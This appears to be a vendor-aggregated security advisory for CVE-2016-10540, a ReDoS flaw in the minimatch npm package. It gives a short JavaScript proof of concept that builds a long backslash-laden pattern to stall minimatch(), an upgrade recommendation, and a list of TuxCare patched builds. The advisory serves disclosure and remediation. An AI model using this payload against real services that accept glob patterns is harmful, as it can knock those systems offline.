CVE-2016-10540

Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript RegExp objects. The primary function, minimatch(path, pattern) in Minimatch 3.0.1 and earlier is vulnerable to ReDoS in the pattern parameter.

Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).

Proof of Concept

var minimatch = require(“minimatch”);

// utility function for generating long strings
var genstr = function (len, chr) {
  var result = “”;
  for (i=0; i<=len; i++) {
    result = result + chr;
  }
  return result;
}

var exploit = “[!” + genstr(1000000, “\\”) + “A”;

// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);

Recommendation

Update to version 3.0.2 or later.

Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript RegExp objects. The primary function, minimatch(path, pattern) in Minimatch 3.0.1 and earlier is vulnerable to ReDoS in the pattern parameter.

TuxCare rebuilt minimatch to address 1 CVE. Fixed in 0.2.14-tuxcare.1.

TuxCare rebuilt minimatch to address 2 CVEs. Fixed in 0.3.0-tuxcare.1.

TuxCare rebuilt minimatch to address 2 CVEs. Fixed in 0.0.5-tuxcare.1.

TuxCare rebuilt minimatch to address 2 CVEs. Fixed in 2.0.10-tuxcare.1.

TuxCare rebuilt minimatch to address 1 CVE. Fixed in 1.0.0-tuxcare.1.

TuxCare rebuilt minimatch to address 1 CVE. Fixed in 0.0.4-tuxcare.2.

TuxCare rebuilt minimatch to address 5 CVEs. Fixed in 0.2.5-tuxcare.1.

TuxCare rebuilt minimatch to address 2 CVEs. Fixed in 0.4.0-tuxcare.1.

It was discovered that minimatch did not perform necessary bounds checking on regular expressions. An attacker could use this vulnerability to cause a denial of service.